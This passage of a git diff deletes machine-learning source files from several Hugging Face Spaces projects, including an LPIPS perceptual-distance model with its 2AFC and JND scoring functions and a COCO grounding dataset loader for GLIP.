-    _C.MODEL.ROI_BOX_HEAD.MULT_PROPOSAL_SCORE = False
-
-    _C.MODEL.BIFPN = CN()
-    _C.MODEL.BIFPN.NUM_LEVELS = 5
-    _C.MODEL.BIFPN.NUM_BIFPN = 6
-    _C.MODEL.BIFPN.NORM = 'GN'
-    _C.MODEL.BIFPN.OUT_CHANNELS = 160
-    _C.MODEL.BIFPN.SEPARABLE_CONV = False
-
-    _C.MODEL.DLA = CN()
-    _C.MODEL.DLA.OUT_FEATURES = ['dla2']
-    _C.MODEL.DLA.USE_DLA_UP = True
-    _C.MODEL.DLA.NUM_LAYERS = 34
-    _C.MODEL.DLA.MS_OUTPUT = False
-    _C.MODEL.DLA.NORM = 'BN'
-    _C.MODEL.DLA.DLAUP_IN_FEATURES = ['dla3', 'dla4', 'dla5']
-    _C.MODEL.DLA.DLAUP_NODE = 'conv'
-
-    _C.SOLVER.RESET_ITER = False
-    _C.SOLVER.TRAIN_ITER = -1
-
-    _C.INPUT.CUSTOM_AUG = ''
-    _C.INPUT.TRAIN_SIZE = 640
-    _C.INPUT.TEST_SIZE = 640
-    _C.INPUT.SCALE_RANGE = (0.1, 2.)
-    # 'default' for fixed short/ long edge, 'square' for max size=INPUT.SIZE
-    _C.INPUT.TEST_INPUT_TYPE = 'default' 
-    
-    _C.DEBUG = False
-    _C.SAVE_DEBUG = False
-    _C.SAVE_PTH = False
-    _C.VIS_THRESH = 0.3
-    _C.DEBUG_SHOW_NAME = False
diff --git a/spaces/PKUWilliamYang/VToonify/vtoonify/model/stylegan/lpips/dist_model.py b/spaces/PKUWilliamYang/VToonify/vtoonify/model/stylegan/lpips/dist_model.py
deleted file mode 100644
index d8a14a61ca36f2562e16feb66c9625dd2f5e0469..0000000000000000000000000000000000000000
--- a/spaces/PKUWilliamYang/VToonify/vtoonify/model/stylegan/lpips/dist_model.py
+++ /dev/null
@@ -1,284 +0,0 @@
-
-from __future__ import absolute_import
-
-import sys
-import numpy as np
-import torch
-from torch import nn
-import os
-from collections import OrderedDict
-from torch.autograd import Variable
-import itertools
-from model.stylegan.lpips.base_model import BaseModel
-from scipy.ndimage import zoom
-import fractions
-import functools
-import skimage.transform
-from tqdm import tqdm
-
-from IPython import embed
-
-from model.stylegan.lpips import networks_basic as networks
-import model.stylegan.lpips as util
-
-class DistModel(BaseModel):
-    def name(self):
-        return self.model_name
-
-    def initialize(self, model='net-lin', net='alex', colorspace='Lab', pnet_rand=False, pnet_tune=False, model_path=None,
-            use_gpu=True, printNet=False, spatial=False, 
-            is_train=False, lr=.0001, beta1=0.5, version='0.1', gpu_ids=[0]):
-        '''
-        INPUTS
-            model - ['net-lin'] for linearly calibrated network
-                    ['net'] for off-the-shelf network
-                    ['L2'] for L2 distance in Lab colorspace
-                    ['SSIM'] for ssim in RGB colorspace
-            net - ['squeeze','alex','vgg']
-            model_path - if None, will look in weights/[NET_NAME].pth
-            colorspace - ['Lab','RGB'] colorspace to use for L2 and SSIM
-            use_gpu - bool - whether or not to use a GPU
-            printNet - bool - whether or not to print network architecture out
-            spatial - bool - whether to output an array containing varying distances across spatial dimensions
-            spatial_shape - if given, output spatial shape. if None then spatial shape is determined automatically via spatial_factor (see below).
-            spatial_factor - if given, specifies upsampling factor relative to the largest spatial extent of a convolutional layer. if None then resized to size of input images.
-            spatial_order - spline order of filter for upsampling in spatial mode, by default 1 (bilinear).
-            is_train - bool - [True] for training mode
-            lr - float - initial learning rate
-            beta1 - float - initial momentum term for adam
-            version - 0.1 for latest, 0.0 was original (with a bug)
-            gpu_ids - int array - [0] by default, gpus to use
-        '''
-        BaseModel.initialize(self, use_gpu=use_gpu, gpu_ids=gpu_ids)
-
-        self.model = model
-        self.net = net
-        self.is_train = is_train
-        self.spatial = spatial
-        self.gpu_ids = gpu_ids
-        self.model_name = '%s [%s]'%(model,net)
-
-        if(self.model == 'net-lin'): # pretrained net + linear layer
-            self.net = networks.PNetLin(pnet_rand=pnet_rand, pnet_tune=pnet_tune, pnet_type=net,
-                use_dropout=True, spatial=spatial, version=version, lpips=True)
-            kw = {}
-            if not use_gpu:
-                kw['map_location'] = 'cpu'
-            if(model_path is None):
-                import inspect
-                model_path = os.path.abspath(os.path.join(inspect.getfile(self.initialize), '..', 'weights/v%s/%s.pth'%(version,net)))
-
-            if(not is_train):
-                print('Loading model from: %s'%model_path)
-                self.net.load_state_dict(torch.load(model_path, **kw), strict=False)
-
-        elif(self.model=='net'): # pretrained network
-            self.net = networks.PNetLin(pnet_rand=pnet_rand, pnet_type=net, lpips=False)
-        elif(self.model in ['L2','l2']):
-            self.net = networks.L2(use_gpu=use_gpu,colorspace=colorspace) # not really a network, only for testing
-            self.model_name = 'L2'
-        elif(self.model in ['DSSIM','dssim','SSIM','ssim']):
-            self.net = networks.DSSIM(use_gpu=use_gpu,colorspace=colorspace)
-            self.model_name = 'SSIM'
-        else:
-            raise ValueError("Model [%s] not recognized." % self.model)
-
-        self.parameters = list(self.net.parameters())
-
-        if self.is_train: # training mode
-            # extra network on top to go from distances (d0,d1) => predicted human judgment (h*)
-            self.rankLoss = networks.BCERankingLoss()
-            self.parameters += list(self.rankLoss.net.parameters())
-            self.lr = lr
-            self.old_lr = lr
-            self.optimizer_net = torch.optim.Adam(self.parameters, lr=lr, betas=(beta1, 0.999))
-        else: # test mode
-            self.net.eval()
-
-        if(use_gpu):
-            self.net.to(gpu_ids[0])
-            self.net = torch.nn.DataParallel(self.net, device_ids=gpu_ids)
-            if(self.is_train):
-                self.rankLoss = self.rankLoss.to(device=gpu_ids[0]) # just put this on GPU0
-
-        if(printNet):
-            print('---------- Networks initialized -------------')
-            networks.print_network(self.net)
-            print('-----------------------------------------------')
-
-    def forward(self, in0, in1, retPerLayer=False):
-        ''' Function computes the distance between image patches in0 and in1
-        INPUTS
-            in0, in1 - torch.Tensor object of shape Nx3xXxY - image patch scaled to [-1,1]
-        OUTPUT
-            computed distances between in0 and in1
-        '''
-
-        return self.net.forward(in0, in1, retPerLayer=retPerLayer)
-
-    # ***** TRAINING FUNCTIONS *****
-    def optimize_parameters(self):
-        self.forward_train()
-        self.optimizer_net.zero_grad()
-        self.backward_train()
-        self.optimizer_net.step()
-        self.clamp_weights()
-
-    def clamp_weights(self):
-        for module in self.net.modules():
-            if(hasattr(module, 'weight') and module.kernel_size==(1,1)):
-                module.weight.data = torch.clamp(module.weight.data,min=0)
-
-    def set_input(self, data):
-        self.input_ref = data['ref']
-        self.input_p0 = data['p0']
-        self.input_p1 = data['p1']
-        self.input_judge = data['judge']
-
-        if(self.use_gpu):
-            self.input_ref = self.input_ref.to(device=self.gpu_ids[0])
-            self.input_p0 = self.input_p0.to(device=self.gpu_ids[0])
-            self.input_p1 = self.input_p1.to(device=self.gpu_ids[0])
-            self.input_judge = self.input_judge.to(device=self.gpu_ids[0])
-
-        self.var_ref = Variable(self.input_ref,requires_grad=True)
-        self.var_p0 = Variable(self.input_p0,requires_grad=True)
-        self.var_p1 = Variable(self.input_p1,requires_grad=True)
-
-    def forward_train(self): # run forward pass
-        # print(self.net.module.scaling_layer.shift)
-        # print(torch.norm(self.net.module.net.slice1[0].weight).item(), torch.norm(self.net.module.lin0.model[1].weight).item())
-
-        self.d0 = self.forward(self.var_ref, self.var_p0)
-        self.d1 = self.forward(self.var_ref, self.var_p1)
-        self.acc_r = self.compute_accuracy(self.d0,self.d1,self.input_judge)
-
-        self.var_judge = Variable(1.*self.input_judge).view(self.d0.size())
-
-        self.loss_total = self.rankLoss.forward(self.d0, self.d1, self.var_judge*2.-1.)
-
-        return self.loss_total
-
-    def backward_train(self):
-        torch.mean(self.loss_total).backward()
-
-    def compute_accuracy(self,d0,d1,judge):
-        ''' d0, d1 are Variables, judge is a Tensor '''
-        d1_lt_d0 = (d1<d0).cpu().data.numpy().flatten()
-        judge_per = judge.cpu().numpy().flatten()
-        return d1_lt_d0*judge_per + (1-d1_lt_d0)*(1-judge_per)
-
-    def get_current_errors(self):
-        retDict = OrderedDict([('loss_total', self.loss_total.data.cpu().numpy()),
-                            ('acc_r', self.acc_r)])
-
-        for key in retDict.keys():
-            retDict[key] = np.mean(retDict[key])
-
-        return retDict
-
-    def get_current_visuals(self):
-        zoom_factor = 256/self.var_ref.data.size()[2]
-
-        ref_img = util.tensor2im(self.var_ref.data)
-        p0_img = util.tensor2im(self.var_p0.data)
-        p1_img = util.tensor2im(self.var_p1.data)
-
-        ref_img_vis = zoom(ref_img,[zoom_factor, zoom_factor, 1],order=0)
-        p0_img_vis = zoom(p0_img,[zoom_factor, zoom_factor, 1],order=0)
-        p1_img_vis = zoom(p1_img,[zoom_factor, zoom_factor, 1],order=0)
-
-        return OrderedDict([('ref', ref_img_vis),
-                            ('p0', p0_img_vis),
-                            ('p1', p1_img_vis)])
-
-    def save(self, path, label):
-        if(self.use_gpu):
-            self.save_network(self.net.module, path, '', label)
-        else:
-            self.save_network(self.net, path, '', label)
-        self.save_network(self.rankLoss.net, path, 'rank', label)
-
-    def update_learning_rate(self,nepoch_decay):
-        lrd = self.lr / nepoch_decay
-        lr = self.old_lr - lrd
-
-        for param_group in self.optimizer_net.param_groups:
-            param_group['lr'] = lr
-
-        print('update lr [%s] decay: %f -> %f' % (type,self.old_lr, lr))
-        self.old_lr = lr
-
-def score_2afc_dataset(data_loader, func, name=''):
-    ''' Function computes Two Alternative Forced Choice (2AFC) score using
-        distance function 'func' in dataset 'data_loader'
-    INPUTS
-        data_loader - CustomDatasetDataLoader object - contains a TwoAFCDataset inside
-        func - callable distance function - calling d=func(in0,in1) should take 2
-            pytorch tensors with shape Nx3xXxY, and return numpy array of length N
-    OUTPUTS
-        [0] - 2AFC score in [0,1], fraction of time func agrees with human evaluators
-        [1] - dictionary with following elements
-            d0s,d1s - N arrays containing distances between reference patch to perturbed patches 
-            gts - N array in [0,1], preferred patch selected by human evaluators
-                (closer to "0" for left patch p0, "1" for right patch p1,
-                "0.6" means 60pct people preferred right patch, 40pct preferred left)
-            scores - N array in [0,1], corresponding to what percentage function agreed with humans
-    CONSTS
-        N - number of test triplets in data_loader
-    '''
-
-    d0s = []
-    d1s = []
-    gts = []
-
-    for data in tqdm(data_loader.load_data(), desc=name):
-        d0s+=func(data['ref'],data['p0']).data.cpu().numpy().flatten().tolist()
-        d1s+=func(data['ref'],data['p1']).data.cpu().numpy().flatten().tolist()
-        gts+=data['judge'].cpu().numpy().flatten().tolist()
-
-    d0s = np.array(d0s)
-    d1s = np.array(d1s)
-    gts = np.array(gts)
-    scores = (d0s<d1s)*(1.-gts) + (d1s<d0s)*gts + (d1s==d0s)*.5
-
-    return(np.mean(scores), dict(d0s=d0s,d1s=d1s,gts=gts,scores=scores))
-
-def score_jnd_dataset(data_loader, func, name=''):
-    ''' Function computes JND score using distance function 'func' in dataset 'data_loader'
-    INPUTS
-        data_loader - CustomDatasetDataLoader object - contains a JNDDataset inside
-        func - callable distance function - calling d=func(in0,in1) should take 2
-            pytorch tensors with shape Nx3xXxY, and return pytorch array of length N
-    OUTPUTS
-        [0] - JND score in [0,1], mAP score (area under precision-recall curve)
-        [1] - dictionary with following elements
-            ds - N array containing distances between two patches shown to human evaluator
-            sames - N array containing fraction of people who thought the two patches were identical
-    CONSTS
-        N - number of test triplets in data_loader
-    '''
-
-    ds = []
-    gts = []
-
-    for data in tqdm(data_loader.load_data(), desc=name):
-        ds+=func(data['p0'],data['p1']).data.cpu().numpy().tolist()
-        gts+=data['same'].cpu().numpy().flatten().tolist()
-
-    sames = np.array(gts)
-    ds = np.array(ds)
-
-    sorted_inds = np.argsort(ds)
-    ds_sorted = ds[sorted_inds]
-    sames_sorted = sames[sorted_inds]
-
-    TPs = np.cumsum(sames_sorted)
-    FPs = np.cumsum(1-sames_sorted)
-    FNs = np.sum(sames_sorted)-TPs
-
-    precs = TPs/(TPs+FPs)
-    recs = TPs/(TPs+FNs)
-    score = util.voc_ap(recs,precs)
-
-    return(score, dict(ds=ds,sames=sames))
diff --git a/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/guile/2.2/ccache/language/tree-il/fix-letrec.go b/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/guile/2.2/ccache/language/tree-il/fix-letrec.go
deleted file mode 100644
index 0d5f6d224c8fc567dc43a037fc1f27cc14e00a3e..0000000000000000000000000000000000000000
Binary files a/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/guile/2.2/ccache/language/tree-il/fix-letrec.go and /dev/null differ
diff --git a/spaces/Pinwheel/GLIP-BLIP-Object-Detection-VQA/maskrcnn_benchmark/data/datasets/modulated_coco.py b/spaces/Pinwheel/GLIP-BLIP-Object-Detection-VQA/maskrcnn_benchmark/data/datasets/modulated_coco.py
deleted file mode 100644
index d7dd31279efa47a132dee9576885c14e086309a7..0000000000000000000000000000000000000000
--- a/spaces/Pinwheel/GLIP-BLIP-Object-Detection-VQA/maskrcnn_benchmark/data/datasets/modulated_coco.py
+++ /dev/null
@@ -1,654 +0,0 @@
-import logging
-import os
-import os.path
-import math
-from PIL import Image, ImageDraw
-
-import random
-import numpy as np
-
-import torch
-import torchvision
-import torch.utils.data as data
-from pycocotools import mask as coco_mask
-
-from maskrcnn_benchmark.structures.bounding_box import BoxList
-from maskrcnn_benchmark.structures.segmentation_mask import SegmentationMask
-from maskrcnn_benchmark.data.datasets.coco import has_valid_annotation
-from .od_to_grounding import convert_od_to_grounding_simple, check_for_positive_overflow, sanity_check_target_after_processing, convert_object_detection_to_grounding_optimized_for_od
-import pdb
-import json
-
-class CocoGrounding(torchvision.datasets.CocoDetection):
-    def __init__(self,
-                 img_folder,
-                 ann_file,
-                 transforms,
-                 return_masks,
-                 return_tokens,
-                 is_train=False,
-                 tokenizer=None,
-                 disable_shuffle=False,
-                 add_detection_prompt=False,
-                 one_hot=False,
-                 disable_clip_to_image=False,
-                 no_minus_one_for_one_hot=False,
-                 separation_tokens=" ",
-                 few_shot=0,
-                 no_mask_for_od=False,
-                 override_category=None,
-                 use_caption_prompt=False,
-                 caption_prompt=None,
-                 max_query_len=256,
-                 special_safeguard_for_coco_grounding=False,
-                 random_sample_negative=-1,
-                 **kwargs
-                 ):
-        super(CocoGrounding, self).__init__(img_folder, ann_file)
-        self.ids = sorted(self.ids)
-
-        ids = []
-        for img_id in self.ids:
-            if isinstance(img_id, str):
-                ann_ids = self.coco.getAnnIds(imgIds=[img_id], iscrowd=None)
-            else:
-                ann_ids = self.coco.getAnnIds(imgIds=img_id, iscrowd=None)
-            anno = self.coco.loadAnns(ann_ids)
-            if has_valid_annotation(anno):
-                ids.append(img_id)
-
-        self.ids = ids
-        
-        if few_shot:
-            ids = []
-            # cats_freq = [few_shot]*len(self.coco.cats.keys())
-            cats_freq = [few_shot]*max(list(self.coco.cats.keys()))
-            for img_id in self.ids:
-                if isinstance(img_id, str):
-                    ann_ids = self.coco.getAnnIds(imgIds=[img_id], iscrowd=None)
-                else:
-                    ann_ids = self.coco.getAnnIds(imgIds=img_id, iscrowd=None)
-                anno = self.coco.loadAnns(ann_ids)
-                cat = set([ann['category_id'] for ann in anno]) #set/tuple corresponde to instance/image level
-                is_needed = sum([cats_freq[c-1]>0 for c in cat])
-                if is_needed:
-                    ids.append(img_id)
-                    for c in cat:
-                        cats_freq[c-1] -= 1
-                    # print(cat, cats_freq)
-            self.ids = ids
-
-
-
-        self.json_category_id_to_contiguous_id = {
-            v: i + 1 for i, v in enumerate(self.coco.getCatIds())
-        }
-        self.contiguous_category_id_to_json_id = {
-            v: k for k, v in self.json_category_id_to_contiguous_id.items()
-        }
-
-        if override_category is not None:
-            self.coco.dataset["categories"] = override_category
-        self.use_caption_prompt = use_caption_prompt
-        self.caption_prompt = caption_prompt
-        self.special_safeguard_for_coco_grounding = special_safeguard_for_coco_grounding
-        self.random_sample_negative = random_sample_negative
-        self.ind_to_class = self.categories(no_background=False)
-        self.id_to_img_map = {k: v for k, v in enumerate(self.ids)}
-        self._transforms = transforms
-        self.max_query_len = max_query_len
-        self.prepare = ConvertCocoPolysToMask(False, return_tokens, tokenizer=tokenizer, max_query_len=max_query_len)
-        self.tokenizer = tokenizer
-        self.is_train = is_train
-
-        self.ind_to_class = self.categories(no_background=False)
-
-        self.disable_shuffle = disable_shuffle
-        self.add_detection_prompt = add_detection_prompt
-        self.one_hot = one_hot
-        self.no_minus_one_for_one_hot = no_minus_one_for_one_hot
-
-        self.disable_clip_to_image = disable_clip_to_image
-        self.separation_tokens = separation_tokens
-        self.no_mask_for_od = no_mask_for_od
-        self.return_masks = return_masks
-
-    def categories(self, no_background=True):
-        categories = self.coco.dataset["categories"]
-        label_list = {}
-        for index, i in enumerate(categories):
-            # assert(index + 1 == i["id"])
-            if not no_background or (i["name"] != "__background__" and i['id'] != 0):
-                label_list[self.json_category_id_to_contiguous_id[i["id"]]] = i["name"]
-        return label_list
-
-    def get_box_mask(self, rect, img_size, mode="poly"):
-        assert mode=="poly", "Only support poly mask right now!"
-        x1, y1, x2, y2 = rect[0], rect[1], rect[2], rect[3]
-        return [[x1, y1, x1, y2, x2, y2, x2, y1]]
-
-    def __getitem__(self, idx):
-        img, tgt = super(CocoGrounding, self).__getitem__(idx)
-        image_id = self.ids[idx]
-        tgt = [obj for obj in tgt if obj["iscrowd"] == 0]
-        boxes = [obj["bbox"] for obj in tgt]
-        boxes = torch.as_tensor(boxes).reshape(-1, 4)  # guard against no boxes
-        target = BoxList(boxes, img.size, mode="xywh").convert("xyxy")
-        classes = [obj["category_id"] for obj in tgt]
-        classes = [self.json_category_id_to_contiguous_id[c] for c in classes]
-        classes = torch.tensor(classes)
-        target.add_field("labels", classes)
-
-        if self.return_masks:
-            masks = []
-            is_box_mask = []
-            for obj, bbox in zip(tgt, target.bbox):
-                if "segmentation" in obj:
-                    masks.append(obj["segmentation"])
-                    is_box_mask.append(0)
-                else:
-                    masks.append(self.get_box_mask(bbox, img.size, mode="poly"))
-                    is_box_mask.append(1)
-            masks = SegmentationMask(masks, img.size, mode="poly")
-            is_box_mask = torch.tensor(is_box_mask)
-            target.add_field("masks", masks)
-            target.add_field("is_box_mask", is_box_mask)
-        
-        if not self.disable_clip_to_image:
-            target = target.clip_to_image(remove_empty=True)
-        
-        if self.special_safeguard_for_coco_grounding:
-            # Intended for LVIS
-            assert(not self.use_caption_prompt)
-
-            original_box_num = len(target)
-            target, positive_caption_length = check_for_positive_overflow(target, self.ind_to_class, self.tokenizer, self.max_query_len-2) # leave some space for the special tokens
-            if len(target) < original_box_num:
-                print("WARNING: removed {} boxes due to positive caption overflow".format(original_box_num - len(target)))
-
-            annotations, caption, greenlight_span_for_masked_lm_objective, label_to_positions = convert_object_detection_to_grounding_optimized_for_od(
-                target=target,
-                image_id=image_id,
-                ind_to_class=self.ind_to_class,
-                disable_shuffle=self.disable_shuffle,
-                add_detection_prompt=False,
-                add_detection_prompt_advanced=False,
-                random_sample_negative=self.random_sample_negative,
-                control_probabilities=(0.0, 0.0, 1.0, 0.0), # always try to add a lot of negatives
-                restricted_negative_list=None,
-                separation_tokens=self.separation_tokens,
-                max_num_labels=-1,
-                positive_caption_length=positive_caption_length,
-                tokenizer=self.tokenizer,
-                max_seq_length=self.max_query_len-2
-            )
-        else:
-            # Intended for COCO / ODinW
-            annotations, caption, greenlight_span_for_masked_lm_objective = convert_od_to_grounding_simple(
-                target=target,
-                image_id=image_id,
-                ind_to_class=self.ind_to_class,
-                disable_shuffle=self.disable_shuffle,
-                add_detection_prompt=self.add_detection_prompt,
-                separation_tokens=self.separation_tokens,
-                caption_prompt=self.caption_prompt if self.use_caption_prompt else None,
-            )
-
-        anno = {"image_id": image_id, "annotations": annotations, "caption": caption}
-        anno["greenlight_span_for_masked_lm_objective"] = greenlight_span_for_masked_lm_objective
-        if self.no_mask_for_od:
-            anno["greenlight_span_for_masked_lm_objective"].append((-1, -1, -1))
-        img, anno = self.prepare(img, anno, box_format="xyxy")
-
-        # for equivalence check
-        if self.one_hot:
-            logging.info("using one hot for equivalence check.")
-            one_hot_map = torch.zeros_like(anno["positive_map"], dtype=torch.float)
-            text_mask = torch.zeros(anno["positive_map"].shape[1], dtype=torch.int64)
-            # create one hot mapping
-            for ii, cls in enumerate(classes):
-                if self.no_minus_one_for_one_hot:
-                    one_hot_map[ii, cls] = 1.0
-                else:
-                    one_hot_map[ii, cls - 1] = 1.0
-            if self.no_minus_one_for_one_hot:
-                text_mask[:] = 1
-            else:
-                text_mask[:len(self.ind_to_class)] = 1
-            anno["positive_map"] = one_hot_map
-            anno["text_mask"] = text_mask
-
-        if self._transforms is not None:
-            img, target = self._transforms(img, target)
-
-        # add additional property
-        for ann in anno:
-            target.add_field(ann, anno[ann])
-        
-        sanity_check_target_after_processing(target)
-
-        return img, target, idx
-
-    def get_img_info(self, index):
-        img_id = self.id_to_img_map[index]
-        img_data = self.coco.imgs[img_id]
-        return img_data
-
-
-class ModulatedDataset(torchvision.datasets.CocoDetection):
-    def __init__(self,
-                 img_folder,
-                 ann_file,
-                 transforms,
-                 return_masks,
-                 return_tokens,
-                 is_train=False,
-                 tokenizer=None,
-                 disable_clip_to_image=False,
-                 no_mask_for_gold=False,
-                 max_query_len=256,
-                 **kwargs):
-        super(ModulatedDataset, self).__init__(img_folder, ann_file)
-        self.ids = sorted(self.ids)
-
-        ids = []
-        for img_id in self.ids:
-            if isinstance(img_id, str):
-                ann_ids = self.coco.getAnnIds(imgIds=[img_id], iscrowd=None)
-            else:
-                ann_ids = self.coco.getAnnIds(imgIds=img_id, iscrowd=None)
-            anno = self.coco.loadAnns(ann_ids)
-            if has_valid_annotation(anno):
-                ids.append(img_id)
-        self.ids = ids
-
-        self.id_to_img_map = {k: v for k, v in enumerate(self.ids)}
-        self._transforms = transforms
-        self.max_query_len = max_query_len
-        self.prepare = ConvertCocoPolysToMask(return_masks, return_tokens, tokenizer=tokenizer, max_query_len=max_query_len)
-        self.is_train = is_train
-        self.disable_clip_to_image = disable_clip_to_image
-        self.no_mask_for_gold = no_mask_for_gold
-
-    def __getitem__(self, idx):
-        img, target = super(ModulatedDataset, self).__getitem__(idx)
-        image_id = self.ids[idx]
-        coco_img = self.coco.loadImgs(image_id)[0]
-        caption = coco_img["caption"]
-        dataset_name = coco_img["dataset_name"] if "dataset_name" in coco_img else None
-        anno = {"image_id": image_id, "annotations": target, "caption": caption}
-
-        # This dataset is used for Flickr & Mixed, so the sequence is maskable
-        anno["greenlight_span_for_masked_lm_objective"] = [(0, len(caption))]
-        if self.no_mask_for_gold:
-            anno["greenlight_span_for_masked_lm_objective"].append((-1, -1, -1))
-        img, anno = self.prepare(img, anno)
-
-        # convert to BoxList (bboxes, labels)
-        boxes = torch.as_tensor(anno["boxes"]).reshape(-1, 4)  # guard against no boxes
-        target = BoxList(boxes, img.size, mode="xyxy")
-        classes = anno["labels"]
-        target.add_field("labels", classes)
-        if self.prepare.return_masks:
-            target.add_field("masks", anno.pop("masks"))
-            target.add_field("is_box_mask", anno.pop("is_box_mask"))
-        if not self.disable_clip_to_image:
-            num_boxes = len(target.bbox)
-            target = target.clip_to_image(remove_empty=True)
-            assert num_boxes == len(target.bbox), "Box got removed in MixedDataset!!!"
-
-        # Check if bboxes are correct
-        # draw = ImageDraw.Draw(img)
-        # boxes = target.bbox
-        # for box in boxes:
-        #     draw.rectangle([box[0], box[1], box[2], box[3]])
-        # img.save('OUTPUT/images/{}.jpg'.format(idx))
-
-        if self._transforms is not None:
-            img, target = self._transforms(img, target)
-
-        # add additional property
-        for ann in anno:
-            target.add_field(ann, anno[ann])
-
-        target.add_field("dataset_name", dataset_name)
-        for extra_key in ["sentence_id", "original_img_id", "original_id", "task_id"]:
-            if extra_key in coco_img:
-                target.add_field(extra_key, coco_img[extra_key])
-
-        if "tokens_positive_eval" in coco_img and not self.is_train:
-            tokenized = self.prepare.tokenizer(caption, return_tensors="pt")
-            target.add_field("positive_map_eval", create_positive_map(tokenized, coco_img["tokens_positive_eval"]))
-            target.add_field("nb_eval", len(target.get_field("positive_map_eval")))
-
-        sanity_check_target_after_processing(target)
-        return img, target, idx
-
-    def get_img_info(self, index):
-        img_id = self.id_to_img_map[index]
-        img_data = self.coco.imgs[img_id]
-        return img_data
-
-
-class CocoDetection(data.Dataset):
-    """`MS Coco Detection <http://mscoco.org/dataset/#detections-challenge2016>`_ Dataset.
-
-    Args:
-        root (string): Root directory where images are downloaded to.
-        annFile (string): Path to json annotation file.
-        transform (callable, optional): A function/transform that  takes in an PIL image
-            and returns a transformed version. E.g, ``transforms.ToTensor``
-        target_transform (callable, optional): A function/transform that takes in the
-            target and transforms it.
-    """
-
-    def __init__(self, root, annFile, transform=None, target_transform=None):
-        from pycocotools.coco import COCO
-        self.root = root
-        self.coco = COCO(annFile)
-        self.ids = list(self.coco.imgs.keys())
-        self.transform = transform
-        self.target_transform = target_transform
-
-    def __getitem__(self, index, return_meta=False):
-        """
-        Args:
-            index (int): Index
-
-        Returns:
-            tuple: Tuple (image, target). target is the object returned by ``coco.loadAnns``.
-        """
-        coco = self.coco
-        img_id = self.ids[index]
-        if isinstance(img_id, str):
-            img_id = [img_id]
-        ann_ids = coco.getAnnIds(imgIds=img_id)
-        target = coco.loadAnns(ann_ids)
-
-        meta = coco.loadImgs(img_id)[0]
-        path = meta['file_name']
-        img = pil_loader(os.path.join(self.root, path))
-
-        if self.transform is not None:
-            img = self.transform(img)
-
-        if self.target_transform is not None:
-            target = self.target_transform(target)
-
-        if return_meta:
-            return img, target, meta
-        else:
-            return img, target
-
-    def __len__(self):
-        return len(self.ids)
-
-    def __repr__(self):
-        fmt_str = 'Dataset ' + self.__class__.__name__ + '\n'
-        fmt_str += '    Number of datapoints: {}\n'.format(self.__len__())
-        fmt_str += '    Root Location: {}\n'.format(self.root)
-        tmp = '    Transforms (if any): '
-        fmt_str += '{0}{1}\n'.format(tmp, self.transform.__repr__().replace('\n', '\n' + ' ' * len(tmp)))
-        tmp = '    Target Transforms (if any): '
-        fmt_str += '{0}{1}'.format(tmp, self.target_transform.__repr__().replace('\n', '\n' + ' ' * len(tmp)))
-        return fmt_str
-
-
-class ConvertCocoPolysToMask(object):
-    def __init__(self, return_masks=False, return_tokens=False, tokenizer=None, max_query_len=256):
-        self.return_masks = return_masks
-        self.return_tokens = return_tokens
-        self.tokenizer = tokenizer
-        self.max_query_len = max_query_len
-
-    def get_box_mask(self, rect, img_size, mode="poly"):
-        assert mode=="poly", "Only support poly mask right now!"
-        x1, y1, x2, y2 = rect[0], rect[1], rect[2], rect[3]
-        return [[x1, y1, x1, y2, x2, y2, x2, y1]]
-
-    def __call__(self, image, target, ignore_box_screen=False, box_format="xywh"):
-        w, h = image.size
-
-        image_id = target["image_id"]
-        image_id = torch.tensor([image_id])
-
-        anno = target["annotations"]
-        caption = target["caption"] if "caption" in target else None
-        label_to_positions = target.get("label_to_positions", {})
-
-        greenlight_span_for_masked_lm_objective = target.get("greenlight_span_for_masked_lm_objective", None)
-
-        anno = [obj for obj in anno if "iscrowd" not in obj or obj["iscrowd"] == 0]
-
-        boxes = [obj["bbox"] for obj in anno]
-        # guard against no boxes via resizing
-        boxes = torch.as_tensor(boxes, dtype=torch.float32).reshape(-1, 4)
-        if box_format == "xywh":
-            boxes[:, 2:] += boxes[:, :2] - 1  # TO_REMOVE = 1
-            boxes[:, 0::2].clamp_(min=0, max=w-1)  # TO_REMOVE = 1
-            boxes[:, 1::2].clamp_(min=0, max=h-1)  # TO_REMOVE = 1
-
-        classes = [obj["category_id"] for obj in anno]
-        classes = torch.tensor(classes, dtype=torch.int64)
-
-        if self.return_masks:
-            masks = []
-            is_box_mask = []
-            for obj, bbox in zip(anno, boxes):
-                if "segmentation" in obj:
-                    masks.append(obj["segmentation"])
-                    is_box_mask.append(0)
-                else:
-                    masks.append(self.get_box_mask(bbox, image.size, mode='poly'))
-                    is_box_mask.append(1)
-            masks = SegmentationMask(masks, image.size, mode='poly')
-            is_box_mask = torch.tensor(is_box_mask)
-
-        keypoints = None
-        if anno and "keypoints" in anno[0]:
-            keypoints = [obj["keypoints"] for obj in anno]
-            keypoints = torch.as_tensor(keypoints, dtype=torch.float32)
-            num_keypoints = keypoints.shape[0]
-            if num_keypoints:
-                keypoints = keypoints.view(num_keypoints, -1, 3)
-
-        isfinal = None
-        if anno and "isfinal" in anno[0]:
-            isfinal = torch.as_tensor([obj["isfinal"] for obj in anno], dtype=torch.float)
-
-        tokens_positive = [] if self.return_tokens else None
-        if self.return_tokens and anno and "tokens" in anno[0]:
-            tokens_positive = [obj["tokens"] for obj in anno]
-        elif self.return_tokens and anno and "tokens_positive" in anno[0]:
-            tokens_positive = [obj["tokens_positive"] for obj in anno]
-
-        keep = (boxes[:, 3] > boxes[:, 1]) & (boxes[:, 2] > boxes[:, 0])
-        boxes = boxes[keep]
-        classes = classes[keep]
-        if self.return_masks:
-            masks = masks[keep]
-            is_box_mask = is_box_mask[keep]
-        if keypoints is not None:
-            keypoints = keypoints[keep]
-
-        target = {}
-        target["boxes"] = boxes
-        target["labels"] = classes
-        if caption is not None:
-            target["caption"] = caption
-        if self.return_masks:
-            target["masks"] = masks
-            target["is_box_mask"] = is_box_mask
-        target["image_id"] = image_id
-        if keypoints is not None:
-            target["keypoints"] = keypoints
-
-        if tokens_positive is not None:
-            target["tokens_positive"] = []
-
-            for i, k in enumerate(keep):
-                if k or ignore_box_screen:
-                    target["tokens_positive"].append(tokens_positive[i])
-
-        if isfinal is not None:
-            target["isfinal"] = isfinal
-
-        # for conversion to coco api
-        area = torch.tensor([obj["area"] for obj in anno])
-        iscrowd = torch.tensor([obj["iscrowd"] if "iscrowd" in obj else 0 for obj in anno])
-        target["area"] = area[keep]
-        target["iscrowd"] = iscrowd[keep]
-
